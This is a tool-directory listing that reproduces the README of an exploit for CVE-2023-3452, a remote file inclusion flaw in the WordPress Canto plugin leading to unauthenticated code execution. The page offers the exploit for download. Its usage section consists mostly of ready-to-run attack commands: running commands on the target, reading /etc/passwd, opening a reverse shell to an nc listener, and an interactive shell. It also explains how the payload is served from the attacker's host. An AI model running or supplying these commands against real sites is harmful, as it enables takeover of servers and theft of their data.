Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-3452---WordPress-Canto-Plugin-RCE — CVE-2023-3452 exploit for WordPress Canto plugin RCE, HTTPS support included | Kitploit
Tools/GitHubGitHub/alpastx/cve-2023-3452---wordpress-canto-plugin-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubalpastx/cve-2023-3452---wordpress-canto-plugin-rce

CVE-2023-3452---WordPress-Canto-Plugin-RCE

CVE-2023-3452 exploit for WordPress Canto plugin RCE, HTTPS support included

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
16 months agoNot yet reviewed
Share

CVE-2023-3452 - WordPress Canto Plugin RCE

Exploit for the WordPress Canto Plugin (≤ 3.0.4) RFI vuln. Actually works on HTTPS — the other public PoCs kinda gave up on SSL.

Credit where it's due: this CVE was found by others. I just made a version that doesn't break on HTTPS targets.

Vulnerability

CVECVE-2023-3452
EDB-ID51826
TypeRemote File Inclusion (RFI) → Unauthenticated RCE
AffectedWordPress Canto Plugin < 3.0.5 (≤ 3.0.4)
Disclosed byLeopoldo Angulo (leoanggal1) — 2024-02-27
Location/wp-content/plugins/canto/includes/lib/download.php
Vectorwp_abspath gets used to include PHP files with zero validation — we include ours remotely.

Why This One?

Most exploits for this CVE choke on HTTPS because of SSL verification. This script:

  • Uses verify=False so HTTPS targets actually work
  • Suppresses the urllib3 warning spam
  • Runs the same on both HTTP and HTTPS — no separate config needed

Requirements

  • Python 3.6+
  • requests

Installation

root@kitploit:~
pip install -r requirements.txt

Or just: pip install requests

Usage

root@kitploit:~
python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]

Arguments

OptionDescriptionRequired
-t, --targetTarget WordPress URL (HTTP or HTTPS)Yes
-l, --lhostYour IP — target needs to reach this for the payloadYes
-p, --lportPayload server port (default: 8888)No
-c, --commandCommand to run on targetNo*
--revshellSpawn reverse shellNo
--shell-portListener port for rev shell (default: 4444)No
-i, --interactiveInteractive shell modeNo
-v, --verboseExtra outputNo
--skip-checkSkip the vuln checkNo

* No command = runs id; whoami; hostname as a sanity check

Examples

Single command:

root@kitploit:~
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"

Read a file:

root@kitploit:~
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"

Reverse shell (run nc -lvnp 4444 first):

root@kitploit:~
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444

Interactive mode:

root@kitploit:~
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i

HTTPS CTF target:

root@kitploit:~
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"

How It Works

  1. Check — Hits /wp-content/plugins/canto/readme.txt, parses version (≤ 3.0.4 = vulnerable)
  2. Payload — Writes a fake wp-admin/admin.php that runs your command via system()
  3. Serve — Spins up a local HTTP server so the target can fetch our file
  4. Trigger — Requests download.php with wp_abspath=http://LHOST:LPORT so it includes our remote PHP
  5. Execute — Their server runs our code, we get the output back

Network Notes

  • Target must be able to reach your machine on LHOST:LPORT (for HTB/labs, that’s your VPN IP)
  • Firewall needs to allow inbound on the payload port (-p)

Disclaimer

Authorized testing and education only. Only touch systems you’re allowed to. Anything else is illegal.

License

MIT

Download Tool